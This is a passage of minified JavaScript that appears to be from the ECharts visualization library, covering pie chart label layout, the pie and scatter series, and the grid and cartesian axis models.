Yj(e,t){Zj.rect=e,nO(Zj,t,Xj)}var Xj={minMarginForce:[null,0,null,0],marginDefault:[1,0,1,0]},Zj={};function Qj(e){return e.position===`center`}function $j(e){var t=e.getData(),n=[],r,i,a=!1,o=(e.get(`minShowLabelAngle`)||0)*Gj,s=t.getLayout(`viewRect`),c=t.getLayout(`r`),l=s.width,u=s.x,d=s.y,f=s.height;function p(e){e.ignore=!0}function m(e){if(!e.ignore)return!0;for(var t in e.states)if(e.states[t].ignore===!1)return!0;return!1}t.each(function(e){var s=t.getItemGraphicEl(e),d=s.shape,h=s.getTextContent(),g=s.getTextGuideLine(),_=t.getItemModel(e),v=_.getModel(`label`),y=v.get(`position`)||_.get([`emphasis`,`label`,`position`]),b=v.get(`distanceToLabelLine`),x=v.get(`alignTo`),S=X(v.get(`edgeDistance`),l),C=v.get(`bleedMargin`);C??=Math.min(l,f)>200?10:2;var w=_.getModel(`labelLine`),T=w.get(`length`);T=X(T,l);var E=w.get(`length2`);if(E=X(E,l),Math.abs(d.endAngle-d.startAngle)<o){L(h.states,p),h.ignore=!0,g&&(L(g.states,p),g.ignore=!0);return}if(m(h)){var D=(d.startAngle+d.endAngle)/2,O=Math.cos(D),k=Math.sin(D),A,j,ee,te;r=d.cx,i=d.cy;var M=y===`inside`||y===`inner`;if(y===`center`)A=d.cx,j=d.cy,te=`center`;else{var ne=(M?(d.r+d.r0)/2*O:d.r*O)+r,re=(M?(d.r+d.r0)/2*k:d.r*k)+i;if(A=ne+O*3,j=re+k*3,!M){var ie=ne+O*(T+c-d.r),ae=re+k*(T+c-d.r),oe=ie+(O<0?-1:1)*E,se=ae;A=x===`edge`?O<0?u+S:u+l-S:oe+(O<0?-b:b),j=se,ee=[[ne,re],[ie,ae],[oe,se]]}te=M?`center`:x===`edge`?O>0?`right`:`left`:O>0?`left`:`right`}var ce=Math.PI,le=0,ue=v.get(`rotate`);if(ht(ue))le=ce/180*ue;else if(y===`center`)le=0;else if(ue===`radial`||ue===!0)le=O<0?-D+ce:-D;else if(ue===`tangential`&&y!==`outside`&&y!==`outer`){var de=Math.atan2(O,k);de<0&&(de=ce*2+de),k>0&&(de=ce+de),le=de-ce}if(a=!!le,h.x=A,h.y=j,h.rotation=le,h.setStyle({verticalAlign:`middle`}),M){h.setStyle({align:te});var fe=h.states.select;fe&&(fe.x+=h.x,fe.y+=h.y)}else{var pe=new J(0,0,0,0);Yj(pe,h),n.push({label:h,labelLine:g,position:y,len:T,len2:E,minTurnAngle:w.get(`minTurnAngle`),maxSurfaceAngle:w.get(`maxSurfaceAngle`),surfaceNormal:new q(O,k),linePoints:ee,textAlign:te,labelDistance:b,labelAlignTo:x,edgeDistance:S,bleedMargin:C,rect:pe,unconstrainedWidth:pe.width,labelStyleWidth:h.style.width})}s.setTextConfig({inside:M})}}),!a&&e.get(`avoidLabelOverlap`)&&qj(n,r,i,c,l,f,u,d);for(var h=0;h<n.length;h++){var g=n[h],_=g.label,v=g.labelLine,y=isNaN(_.x)||isNaN(_.y);if(_){_.setStyle({align:g.textAlign}),y&&(L(_.states,p),_.ignore=!0);var b=_.states.select;b&&(b.x+=_.x,b.y+=_.y)}if(v){var x=g.linePoints;y||!x?(L(v.states,p),v.ignore=!0):(UD(x,g.minTurnAngle),WD(x,g.surfaceNormal,g.maxSurfaceAngle),v.setShape({points:x}),_.__hostTarget.textGuideLineConfig={anchor:new q(x[0][0],x[0][1])})}}}var eM=function(e){N(t,e);function t(t,n,r){var i=e.call(this)||this;i.z2=2;var a=new Hu;return i.setTextContent(a),i.updateData(t,n,r,!0),i}return t.prototype.updateData=function(e,t,n,r){var i=this,a=e.hostModel,o=e.getItemModel(t),s=o.getModel(`emphasis`),c=e.getItemLayout(t),l=F(mj(o.getModel(`itemStyle`),c,!0),c);if(isNaN(l.startAngle)){i.setShape(l);return}if(r){i.setShape(l);var u=a.getShallow(`animationType`);a.ecModel.ssr?(Rp(i,{scaleX:0,scaleY:0},a,{dataIndex:t,isFrom:!0}),i.originX=l.cx,i.originY=l.cy):u===`scale`?(i.shape.r=c.r0,Rp(i,{shape:{r:c.r}},a,t)):n==null?(i.shape.endAngle=c.startAngle,Lp(i,{shape:{endAngle:c.endAngle}},a,t)):(i.setShape({startAngle:n,endAngle:n}),Rp(i,{shape:{startAngle:c.startAngle,endAngle:c.endAngle}},a,t))}else Up(i),Lp(i,{shape:l},a,t);i.useStyle(e.getItemVisual(t,`style`)),rf(i,o);var d=(c.startAngle+c.endAngle)/2,f=a.get(`selectedOffset`),p=Math.cos(d)*f,m=Math.sin(d)*f,h=o.getShallow(`cursor`);h&&i.attr(`cursor`,h),this._updateLabel(a,e,t),i.ensureState(`emphasis`).shape=F({r:c.r+(s.get(`scale`)&&s.get(`scaleSize`)||0)},mj(s.getModel(`itemStyle`),c)),F(i.ensureState(`select`),{x:p,y:m,shape:mj(o.getModel([`select`,`itemStyle`]),c)}),F(i.ensureState(`blur`),{shape:mj(o.getModel([`blur`,`itemStyle`]),c)});var g=i.getTextGuideLine(),_=i.getTextContent();g&&F(g.ensureState(`select`),{x:p,y:m}),F(_.ensureState(`select`),{x:p,y:m}),$d(this,s.get(`focus`),s.get(`blurScope`),s.get(`disabled`))},t.prototype._updateLabel=function(e,t,n){var r=this,i=t.getItemModel(n),a=i.getModel(`labelLine`),o=t.getItemVisual(n,`style`),s=o&&o.fill,c=o&&o.opacity;Rm(r,zm(i),{labelFetcher:t.hostModel,labelDataIndex:n,inheritColor:s,defaultOpacity:c,defaultText:e.getFormattedLabel(n,`normal`)||t.getName(n)});var l=r.getTextContent();r.setTextConfig({position:null,rotation:null}),l.attr({z2:10});var u=i.get([`label`,`position`]);if(u!==`outside`&&u!==`outer`)r.removeTextGuideLine();else{var d=this.getTextGuideLine();d||(d=new lp,this.setTextGuideLine(d)),qD(this,JD(i),{stroke:s,opacity:wt(a.get([`lineStyle`,`opacity`]),c,1)})}},t}(tp),tM=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.ignoreLabelLineUpdate=!0,t}return t.prototype.render=function(e,t,n,r){var i=e.getData(),a=this._data,o=this.group,s;if(!a&&i.count()>0){for(var c=i.getItemLayout(0),l=1;isNaN(c&&c.startAngle)&&l<i.count();++l)c=i.getItemLayout(l);c&&(s=c.startAngle)}if(this._emptyCircleSector&&o.remove(this._emptyCircleSector),i.count()===0&&e.get(`showEmptyCircle`)){var u=new tp({shape:P(Uj(e))});u.useStyle(e.getModel(`emptyCircleStyle`).getItemStyle()),this._emptyCircleSector=u,o.add(u)}i.diff(a).add(function(e){var t=new eM(i,e,s);i.setItemGraphicEl(e,t),o.add(t)}).update(function(e,t){var n=a.getItemGraphicEl(t);n.updateData(i,e,s),n.off(`click`),o.add(n),i.setItemGraphicEl(e,n)}).remove(function(t){Hp(a.getItemGraphicEl(t),e,t)}).execute(),$j(e),e.get(`animationTypeUpdate`)!==`expansion`&&(this._data=i)},t.prototype.dispose=function(){},t.prototype.containPoint=function(e,t){var n=t.getData().getItemLayout(0);if(n){var r=e[0]-n.cx,i=e[1]-n.cy,a=Math.sqrt(r*r+i*i);return a<=n.r&&a>=n.r0}},t.type=`pie`,t}(Ab);function nM(e,t,n){t=B(t)&&{coordDimensions:t}||F({encodeDefine:e.getEncode()},t);var r=e.getSource(),i=Qw(r,t).dimensions,a=new Zw(i,e);return a.initData(r,n),a}var rM=function(){function e(e,t){this._getDataWithEncodedVisual=e,this._getRawData=t}return e.prototype.getAllNames=function(){var e=this._getRawData();return e.mapArray(e.getName)},e.prototype.containName=function(e){return this._getRawData().indexOfName(e)>=0},e.prototype.indexOfName=function(e){return this._getDataWithEncodedVisual().indexOfName(e)},e.prototype.getItemVisual=function(e,t){return this._getDataWithEncodedVisual().getItemVisual(e,t)},e}(),iM=oc(),aM=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.init=function(t){e.prototype.init.apply(this,arguments),this.legendVisualProvider=new rM(z(this.getData,this),z(this.getRawData,this)),this._defaultLabelLine(t)},t.prototype.mergeOption=function(){e.prototype.mergeOption.apply(this,arguments)},t.prototype.getInitialData=function(){return nM(this,{coordDimensions:[`value`],encodeDefaulter:pt(S_,this)})},t.prototype.getDataParams=function(t){var n=this.getData(),r=iM(n),i=r.seats;if(!i){var a=[];n.each(n.mapDimension(`value`),function(e){a.push(e)}),i=r.seats=ps(a,n.hostModel.get(`percentPrecision`))}var o=e.prototype.getDataParams.call(this,t);return o.percent=i[t]||0,o.$vars.push(`percent`),o},t.prototype._defaultLabelLine=function(e){zs(e,`labelLine`,[`show`]);var t=e.labelLine,n=e.emphasis.labelLine;t.show=t.show&&e.label.show,n.show=n.show&&e.emphasis.label.show},t.type=`series.pie`,t.defaultOption={z:2,legendHoverLink:!0,colorBy:`data`,center:[`50%`,`50%`],radius:[0,`50%`],clockwise:!0,startAngle:90,endAngle:`auto`,padAngle:0,minAngle:0,minShowLabelAngle:0,selectedOffset:10,percentPrecision:2,stillShowZeroSum:!0,coordinateSystemUsage:`box`,left:0,top:0,right:0,bottom:0,width:null,height:null,label:{rotate:0,show:!0,overflow:`truncate`,position:`outer`,alignTo:`none`,edgeDistance:`25%`,distanceToLabelLine:5},labelLine:{show:!0,length:15,length2:30,smooth:!1,minTurnAngle:90,maxSurfaceAngle:90,lineStyle:{width:1,type:`solid`}},itemStyle:{borderWidth:1,borderJoin:`round`},showEmptyCircle:!0,emptyCircleStyle:{color:`lightgray`,opacity:1},labelLayout:{hideOverlap:!0},emphasis:{scale:!0,scaleSize:5},avoidLabelOverlap:!0,animationType:`expansion`,animationDuration:1e3,animationTypeUpdate:`transition`,animationEasingUpdate:`cubicInOut`,animationDurationUpdate:500,animationEasing:`cubicInOut`},t}(_b);Og({fullType:aM.type,getCoord2:function(e){return e.getShallow(`center`)}});function oM(e){return{seriesType:e,reset:function(e,t){var n=e.getData();n.filterSelf(function(e){var t=n.mapDimension(`value`),r=n.get(t,e);return!(ht(r)&&!isNaN(r)&&r<0)})}}}function sM(e){e.registerChartView(tM),e.registerSeriesModel(aM),Dx(`pie`,e.registerAction),e.registerLayout(pt(Hj,`pie`)),e.registerProcessor(Wj(`pie`)),e.registerProcessor(oM(`pie`))}var cM=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.hasSymbolVisual=!0,n}return t.prototype.getInitialData=function(e,t){return fT(null,this,{useEncodeDefaulter:!0})},t.prototype.getProgressive=function(){return this.option.progressive??(this.option.large?5e3:this.get(`progressive`))},t.prototype.getProgressiveThreshold=function(){return this.option.progressiveThreshold??(this.option.large?1e4:this.get(`progressiveThreshold`))},t.prototype.brushSelector=function(e,t,n){return n.point(t.getItemLayout(e))},t.prototype.getZLevelKey=function(){return this.getData().count()>this.getProgressiveThreshold()?this.id:``},t.type=`series.scatter`,t.dependencies=[`grid`,`polar`,`geo`,`singleAxis`,`calendar`,`matrix`],t.defaultOption={coordinateSystem:`cartesian2d`,z:2,legendHoverLink:!0,symbolSize:10,large:!1,largeThreshold:2e3,itemStyle:{opacity:.8},emphasis:{scale:!0},clip:!0,select:{itemStyle:{borderColor:Q.color.primary}},universalTransition:{divideShape:`clone`}},t}(_b),lM=4,uM=function(){function e(){}return e}(),dM=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;return n._off=0,n.hoverDataIdx=-1,n}return t.prototype.getDefaultShape=function(){return new uM},t.prototype.reset=function(){this.notClear=!1,this._off=0},t.prototype.buildPath=function(e,t){var n=t.points,r=t.size,i=this.symbolProxy,a=i.shape,o=e.getContext?e.getContext():e,s=o&&r[0]<lM,c=this.softClipShape,l;if(s){this._ctx=o;return}for(this._ctx=null,l=this._off;l<n.length;){var u=n[l++],d=n[l++];isNaN(u)||isNaN(d)||c&&!c.contain(u,d)||(a.x=u-r[0]/2,a.y=d-r[1]/2,a.width=r[0],a.height=r[1],i.buildPath(e,a,!0))}this.incremental&&(this._off=l,this.notClear=!0)},t.prototype.afterBrush=function(){var e=this.shape,t=e.points,n=e.size,r=this._ctx,i=this.softClipShape,a;if(r){for(a=this._off;a<t.length;){var o=t[a++],s=t[a++];isNaN(o)||isNaN(s)||i&&!i.contain(o,s)||r.fillRect(o-n[0]/2,s-n[1]/2,n[0],n[1])}this.incremental&&(this._off=a,this.notClear=!0)}},t.prototype.findDataIndex=function(e,t){for(var n=this.shape,r=n.points,i=n.size,a=Math.max(i[0],4),o=Math.max(i[1],4),s=r.length/2-1;s>=0;s--){var c=s*2,l=r[c]-a/2,u=r[c+1]-o/2;if(e>=l&&t>=u&&e<=l+a&&t<=u+o)return s}return-1},t.prototype.contain=function(e,t){var n=this.transformCoordToLocal(e,t),r=this.getBoundingRect();return e=n[0],t=n[1],r.contain(e,t)?(this.hoverDataIdx=this.findDataIndex(e,t))>=0:(this.hoverDataIdx=-1,!1)},t.prototype.getBoundingRect=function(){var e=this._rect;if(!e){for(var t=this.shape,n=t.points,r=t.size,i=r[0],a=r[1],o=1/0,s=1/0,c=-1/0,l=-1/0,u=0;u<n.length;){var d=n[u++],f=n[u++];o=Math.min(d,o),c=Math.max(d,c),s=Math.min(f,s),l=Math.max(f,l)}e=this._rect=new J(o-i/2,s-a/2,c-o+i,l-s+a)}return e},t}(Cu),fM=function(){function e(){this.group=new Y}return e.prototype.updateData=function(e,t){this._clear();var n=this._create();n.setShape({points:e.getLayout(`points`)}),this._setCommon(n,e,t)},e.prototype.updateLayout=function(e){var t=e.getLayout(`points`);this.group.eachChild(function(e){if(e.startIndex!=null){var n=(e.endIndex-e.startIndex)*2,r=e.startIndex*4*2;t=new Float32Array(t.buffer,r,n)}e.setShape(`points`,t),e.reset()})},e.prototype.incrementalPrepareUpdate=function(e){this._clear()},e.prototype.incrementalUpdate=function(e,t,n){var r=this._newAdded[0],i=t.getLayout(`points`),a=r&&r.shape.points;if(a&&a.length<2e4){var o=a.length,s=new Float32Array(o+i.length);s.set(a),s.set(i,o),r.endIndex=e.end,r.setShape({points:s})}else{this._newAdded=[];var c=this._create();c.startIndex=e.start,c.endIndex=e.end,c.incremental=!0,c.setShape({points:i}),this._setCommon(c,t,n)}},e.prototype.eachRendered=function(e){this._newAdded[0]&&e(this._newAdded[0])},e.prototype._create=function(){var e=new dM({cursor:`default`});return e.ignoreCoarsePointer=!0,this.group.add(e),this._newAdded.push(e),e},e.prototype._setCommon=function(e,t,n){var r=t.hostModel;n||={};var i=t.getVisual(`symbolSize`);e.setShape(`size`,i instanceof Array?i:[i,i]),e.softClipShape=n.clipShape||null,e.symbolProxy=Bx(t.getVisual(`symbol`),0,0,0,0),e.setColor=e.symbolProxy.setColor;var a=e.shape.size[0]<lM;e.useStyle(r.getModel(`itemStyle`).getItemStyle(a?[`color`,`shadowBlur`,`shadowColor`]:[`color`]));var o=t.getVisual(`style`),s=o&&o.fill;s&&e.setColor(s);var c=Z(e);c.seriesIndex=r.seriesIndex,e.on(`mousemove`,function(t){c.dataIndex=null;var n=e.hoverDataIdx;n>=0&&(c.dataIndex=n+(e.startIndex||0))})},e.prototype.remove=function(){this._clear()},e.prototype._clear=function(){this._newAdded=[],this.group.removeAll()},e}(),pM=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){var r=e.getData();this._updateSymbolDraw(r,e).updateData(r,{clipShape:this._getClipShape(e)}),this._finished=!0},t.prototype.incrementalPrepareRender=function(e,t,n){var r=e.getData();this._updateSymbolDraw(r,e).incrementalPrepareUpdate(r),this._finished=!1},t.prototype.incrementalRender=function(e,t,n){this._symbolDraw.incrementalUpdate(e,t.getData(),{clipShape:this._getClipShape(t)}),this._finished=e.end===t.getData().count()},t.prototype.updateTransform=function(e,t,n){var r=e.getData();if(this.group.dirty(),!this._finished||r.count()>1e4)return{update:!0};var i=tj(``).reset(e,t,n);i.progress&&i.progress({start:0,end:r.count(),count:r.count()},r),this._symbolDraw.updateLayout(r)},t.prototype.eachRendered=function(e){this._symbolDraw&&this._symbolDraw.eachRendered(e)},t.prototype._getClipShape=function(e){if(e.get(`clip`,!0)){var t=e.coordinateSystem;return t&&t.getArea&&t.getArea(.1)}},t.prototype._updateSymbolDraw=function(e,t){var n=this._symbolDraw,r=t.pipelineContext.large;return(!n||r!==this._isLargeDraw)&&(n&&n.remove(),n=this._symbolDraw=r?new fM:new yA,this._isLargeDraw=r,this.group.removeAll()),this.group.add(n.group),n},t.prototype.remove=function(e,t){this._symbolDraw&&this._symbolDraw.remove(!0),this._symbolDraw=null},t.prototype.dispose=function(){},t.type=`scatter`,t}(Ab),mM={left:0,right:0,top:0,bottom:0},hM=[`25%`,`25%`],gM=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.mergeDefaultAndTheme=function(t,n){var r=Zg(t.outerBounds);e.prototype.mergeDefaultAndTheme.apply(this,arguments),r&&t.outerBounds&&Xg(t.outerBounds,r)},t.prototype.mergeOption=function(t,n){e.prototype.mergeOption.apply(this,arguments),this.option.outerBounds&&t.outerBounds&&Xg(this.option.outerBounds,t.outerBounds)},t.type=`grid`,t.dependencies=[`xAxis`,`yAxis`],t.layoutMode=`box`,t.defaultOption={show:!1,z:0,left:`15%`,top:65,right:`10%`,bottom:80,containLabel:!1,outerBoundsMode:`auto`,outerBounds:mM,outerBoundsContain:`all`,outerBoundsClampWidth:hM[0],outerBoundsClampHeight:hM[1],backgroundColor:Q.color.transparent,borderWidth:1,borderColor:Q.color.neutral30},t}(e_),_M=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.getCoordSysModel=function(){return this.getReferringComponents(`grid`,uc).models[0]},t.type=`cartesian2dAxis`,t}(e_);ot(_M,FE);var vM={show:!0,z:0,inverse:!1,name:``,nameLocation:`end`,nameRotate:null,nameTruncate:{maxWidth:null,ellipsis:`...`,placeholder:`.`},nameTextStyle:{},nameGap:15,silent:!1,triggerEvent:!1,tooltip:{show:!1},axisPointer:{},axisLine:{show:!0,onZero:!0,onZeroAxisIndex:null,lineStyle:{color:Q.color.axisLine,width:1,type:`solid`},symbol:[`none`,`none`],symbolSize:[10,15],breakLine:!0},axisTick:{show:!0,inside:!1,length:5,lineStyle:{width:1}},axisLabel:{show:!0,inside:!1,rotate:0,showMinLabel:null,showMaxLabel:null,margin:8,fontSize:12,color:Q.color.axisLabel,textMargin:[0,3]},splitLine:{show:!0,showMinLine:!0,showMaxLine:!0,lineStyle:{color:Q.color.axisSplitLine,width:1,type:`solid`}},splitArea:{show:!1,areaStyle:{color:[Q.color.backgroundTint,Q.color.backgroundTransparent]}},breakArea:{show:!0,itemStyle:{color:Q.color.neutral00,borderColor:Q.color.border,borderWidth:1,borderType:[3,3],opacity:.6},zigzagAmplitude:4,zigzagMinSpan:4,zigzagMaxSpan:20,zigzagZ:100,expandOnClick:!0},breakLabelLayout:{moveOverlap:`auto`}},yM=nt({boundaryGap:!0,deduplication:null,jitter:0,jitterOverlap:!0,jitterMargin:2,splitLine:{show:!1},axisTick:{alignWithLabel:!1,interval:`auto`,show:`auto`},axisLabel:{interval:`auto`}},vM),bM=nt({boundaryGap:[0,0],axisLine:{show:`auto`},axisTick:{show:`auto`},splitNumber:5,minorTick:{show:!1,splitNumber:5,length:3,lineStyle:{}},minorSplitLine:{show:!1,lineStyle:{color:Q.color.axisMinorSplitLine,width:1}}},vM),xM={category:yM,value:bM,time:nt({splitNumber:6,axisLabel:{showMinLabel:!1,showMaxLabel:!1,rich:{primary:{fontWeight:`bold`}}},splitLine:{show:!1}},bM),log:I({logBase:10},bM)},SM={value:1,category:1,time:1,log:1},CM=null;function wM(e){CM||=e}function TM(){return CM}function EM(e,t,n,r){L(SM,function(i,a){var o=nt(nt({},xM[a],!0),r,!0),s=function(e){N(n,e);function n(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t+`Axis.`+a,n}return n.prototype.mergeDefaultAndTheme=function(e,t){var n=Yg(this),r=n?Zg(e):{};nt(e,t.getTheme().get(a+`Axis`)),nt(e,this.getDefaultOption()),e.type=DM(e),n&&Xg(e,r,n)},n.prototype.optionUpdated=function(){this.option.type===`category`&&(this.__ordinalMeta=OT.createByAxisModel(this))},n.prototype.getCategories=function(e){var t=this.option;if(t.type===`category`)return e?t.data:this.__ordinalMeta.categories},n.prototype.getOrdinalMeta=function(){return this.__ordinalMeta},n.prototype.updateAxisBreaks=function(e){var t=TM();return t?t.updateModelAxisBreak(this,e):{breaks:[]}},n.type=t+`Axis.`+a,n.defaultOption=o,n}(n);e.registerComponentModel(s)}),e.registerSubTypeDefaulter(t+`Axis`,DM)}function DM(e){return e.type||(e.data?`category`:`value`)}var OM=function(){function e(e){this.type=`cartesian`,this._dimList=[],this._axes={},this.name=e||``}return e.prototype.getAxis=function(e){return this._axes[e]},e.prototype.getAxes=function(){return R(this._dimList,function(e){return this._axes[e]},this)},e.prototype.getAxesByScale=function(e){return e=e.toLowerCase(),lt(this.getAxes(),function(t){return t.scale.type===e})},e.prototype.addAxis=function(e){var t=e.dim;this._axes[t]=e,this._dimList.push(t)},e}(),kM=[`x`,`y`];function AM(e){return(e.type===`interval`||e.type===`time`)&&!e.hasBreaks()}var jM=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.type=`cartesian2d`,t.dimensions=kM,t}return t.prototype.calcAffineTransform=function(){this._transform=this._invTransform=null;var e=this.getAxis(`x`).scale,t=this.getAxis(`y`).scale;if(!(!AM(e)||!AM(t))){var n=e.getExtent(),r=t.getExtent(),i=this.dataToPoint([n[0],r[0]]),a=this.dataToPoint([n[1],r[1]]),o=n[1]-n[0],s=r[1]-r[0];if(!(!o||!s)){var c=(a[0]-i[0])/o,l=(a[1]-i[1])/s,u=i[0]-n[0]*c,d=i[1]-r[0]*l,f=this._transform=[c,0,0,l,u,d];this._invTransform=qn([],f)}}},t.prototype.getBaseAxis=function(){return this.getAxesByScale(`ordinal`)[0]||this.getAxesByScale(`time`)[0]||this.getAxis(`x`)},t.prototype.containPoint=function(e){var t=this.getAxis(`x`),n=this.getAxis(`y`);return t.contain(t.toLocalCoord(e[0]))&&n.contain(n.toLocalCoord(e[1]))},t.prototype.containData=function(e){return this.getAxis(`x`).containData(e[0])&&this.getAxis(`y`).containData(e[1])},t.prototype.containZone=function(e,t){var n=this.dataToPoint(e),r=this.dataToPoint(t),i=this.getArea(),a=new J(n[0],n[1],r[0]-n[0],r[1]-n[1]);return i.intersect(a)},t.prototype.dataToPoint=function(e,t,n){n||=[];var r=e[0],i=e[1];if(this._transform&&r!=null&&isFinite(r)&&i!=null&&isFinite(i))return rn(n,e,this._transform);var a=this.getAxis(`x`),o=this.getAxis(`y`);return n[0]=a.toGlobalCoord(a.dataToCoord(r,t)),n[1]=o.toGlobalCoord(o.dataToCoord(i,t)),n},t.prototype.clampData=function(e,t){var n=this.getAxis(`x`).scale,r=this.getAxis(`y`).scale,i=n.getExtent(),a=r.getExtent(),o=n.parse(e[0]),s=r.parse(e[1]);return t||=[],t[0]=Math.min(Math.max(Math.min(i[0],i[1]),o),Math.max(i[0],i[1])),t[1]=Math.min(Math.max(Math.min(a[0],a[1]),s),Math.max(a[0],a[1])),t},t.prototype.pointToData=function(e,t,n){if(n||=[],this._invTransform)return rn(n,e,this._invTransform);var r=this.getAxis(`x`),i=this.getAxis(`y`);return n[0]=r.coordToData(r.toLocalCoord(e[0]),t),n[1]=i.coordToData(i.toLocalCoord(e[1]),t),n},t.prototype.getOtherAxis=function(e){return this.getAxis(e.dim===`x`?`y`:`x`)},t.prototype.getArea=function(e){e||=0;var t=this.getAxis(`x`).getGlobalExtent(),n=this.getAxis(`y`).getGlobalExtent(),r=Math.min(t[0],t[1])-e,i=Math.min(n[0],n[1])-e;return new J(r,i,Math.max(t[0],t[1])-r+e,Math.max(n[0],n[1])-i+e)},t}(OM),MM=function(e){N(t,e);function t(t,n,r,i,a){var o=e.call(this,t,n,r)||this;return o.index=0,o.type=i||`value`,o.position=a||`bottom`,o}return t.prototype.isHorizontal=function(){var e=this.position;return e===`top`||e===`bottom`},t.prototype.getGlobalExtent=function(e){var t=this.getExtent();return t[0]=this.toGlobalCoord(t[0]),t[1]=this.toGlobalCoord(t[1]),e&&t[0]>t[1]&&t.reverse(),t},t.prototype.pointToData=function(e,t){return this.coordToData(this.toLocalCoord(e[this.dim===`x`?0:1]),t)},t.prototype.setCategorySortInfo=function(e){if(this.type!==`category`)return!1;this.model.option.categorySortInfo=e,this.scale.setSortInfo(e)},t}(SD),NM=`expandAxisBreak`,PM=`collapseAxisBreak`,FM=`toggleAxisBreak`,IM=`axisbreakchanged`,LM={type:NM,event:IM,update:`update`,refineEvent:BM},RM={type:PM,event:IM,update:`update`,refineEvent:BM},zM={type:FM,event:IM,update:`update`,refineEvent:BM};function BM(e,t,n,r){var i=[];return L(e,function(e){i=i.concat(e.eventBreaks)}),{eventContent:{breaks:i}}}function VM(e){e.registerAction(LM,t),e.registerAction(RM,t),e.registerAction(zM,t);function t(e,t){var n=[],r=cc(t,e);function i(t,i){L(r[t],function(t){L(t.updateAxisBreaks(e).breaks,function(e){var r;n.push(I((r={},r[i]=t.componentIndex,r),e))})})}return i(`xAxisModels`,`xAxisIndex`),i(`yAxisModels`,`yAxisIndex`),i(`singleAxisModels`,`singleAxisIndex`),{eventBreaks:n}}}var HM=Math.PI,UM=[[1,2,1,2],[5,3,5,3],[8,3,8,3]],WM=[[0,1,0,1],[0,3,0,3],[0,3,0,3]],GM=oc(),KM=oc(),qM=function(){function e(e){this.recordMap={},this.resolveAxisNameOverlap=e}return e.prototype.ensureRecord=function(e){var t=e.axis.dim,n=e.componentIndex,r=this.recordMap,i=r[t]||(r[t]=[]);return i[n]||(i[n]={ready:{}})},e}();function JM(e,t,n,r){var i=n.axis,a=t.ensureRecord(n),o=[],s,c=vN(e.axisName)&&jE(e.nameLocation);L(r,function(e){var t=tO(e);if(!(!t||t.label.ignore)){o.push(t);var n=a.transGroup;c&&(n.transform?qn(YM,n.transform):Vn(YM),t.transform&&Un(YM,YM,t.transform),J.copy(XM,t.localRect),XM.applyTransform(YM),s?s.union(XM):J.copy(s=new J(0,0,0,0),XM))}});var l=Math.abs(a.dirVec.x)>.1?`x`:`y`,u=a.transGroup[l];if(o.sort(function(e,t){return Math.abs(e.label[l]-u)-Math.abs(t.label[l]-u)}),c&&s){var d=i.getExtent(),f=Math.min(d[0],d[1]),p=Math.max(d[0],d[1])-f;s.union(new J(f,0,p,1))}a.stOccupiedRect=s,a.labelInfoList=o}var YM=Bn(),XM=new J(0,0,0,0),ZM=function(e,t,n,r,i,a){if(jE(e.nameLocation)){var o=a.stOccupiedRect;o&&QM(iO({},o,a.transGroup.transform),r,i)}else $M(a.labelInfoList,a.dirVec,r,i)};function QM(e,t,n){var r=new q;dO(e,t,r,{direction:Math.atan2(n.y,n.x),bidirectional:!1,touchThreshold:.05})&&aO(t,r)}function $M(e,t,n,r){for(var i=q.dot(r,t)>=0,a=0,o=e.length;a<o;a++){var s=e[i?a:o-1-a];s.label.ignore||QM(s,n,r)}}var eN=function(){function e(e,t,n,r){this.group=new Y,this._axisModel=e,this._api=t,this._local={},this._shared=r||new qM(ZM),this._resetCfgDetermined(n)}return e.prototype.updateCfg=function(e){var t=this._cfg.raw;t.position=e.position,t.labelOffset=e.labelOffset,this._resetCfgDetermined(t)},e.prototype.__getRawCfg=function(){return this._cfg.raw},e.prototype._resetCfgDetermined=function(e){var t=this._axisModel,n=t.getDefaultOption?t.getDefaultOption():{},r=W(e.axisName,t.get(`name`)),i=t.get(`nameMoveOverlap`);(i==null||i===`auto`)&&(i=W(e.defaultNameMoveOverlap,!0));var a={raw:e,position:e.position,rotation:e.rotation,nameDirection:W(e.nameDirection,1),tickDirection:W(e.tickDirection,1),labelDirection:W(e.labelDirection,1),labelOffset:W(e.labelOffset,0),silent:W(e.silent,!0),axisName:r,nameLocation:wt(t.get(`nameLocation`),n.nameLocation,`end`),shouldNameMoveOverlap:vN(r)&&i,optionHideOverlap:t.get([`axisLabel`,`hideOverlap`]),showMinorTicks:t.get([`minorTick`,`show`])};this._cfg=a;var o=new Y({x:a.position[0],y:a.position[1],rotation:a.rotation});o.updateTransform(),this._transformGroup=o;var s=this._shared.ensureRecord(t);s.transGroup=this._transformGroup,s.dirVec=new q(Math.cos(-a.rotation),Math.sin(-a.rotation))},e.prototype.build=function(e,t){var n=this;return e||={axisLine:!0,axisTickLabelEstimate:!1,axisTickLabelDetermine:!0,axisName:!0},L(tN,function(r){e[r]&&nN[r](n._cfg,n._local,n._shared,n._axisModel,n.group,n._transformGroup,n._api,t||{})}),this},e.innerTextLayout=function(e,t,n){var r=hs(t-e),i,a;return gs(r)?(a=n>0?`top`:`bottom`,i=`center`):gs(r-HM)?(a=n>0?`bottom`:`top`,i=`center`):(a=`middle`,i=r>0&&r<HM?n>0?`right`:`left`:n>0?`left`:`right`),{rotation:r,textAlign:i,textVerticalAlign:a}},e.makeAxisEventDataBase=function(e){var t={componentType:e.mainType,componentIndex:e.componentIndex};return t[e.mainType+`Index`]=e.componentIndex,t},e.isLabelSilent=function(e){var t=e.get(`tooltip`);return e.get(`silent`)||!(e.get(`triggerEvent`)||t&&t.show)},e}(),tN=[`axisLine`,`axisTickLabelEstimate`,`axisTickLabelDetermine`,`axisName`],nN={axisLine:function(e,t,n,r,i,a,o){var s=r.get([`axisLine`,`show`]);if(s===`auto`&&(s=!0,e.raw.axisLineAutoShow!=null&&(s=!!e.raw.axisLineAutoShow)),s){var c=r.axis.getExtent(),l=a.transform,u=[c[0],0],d=[c[1],0],f=u[0]>d[0];l&&(rn(u,u,l),rn(d,d,l));var 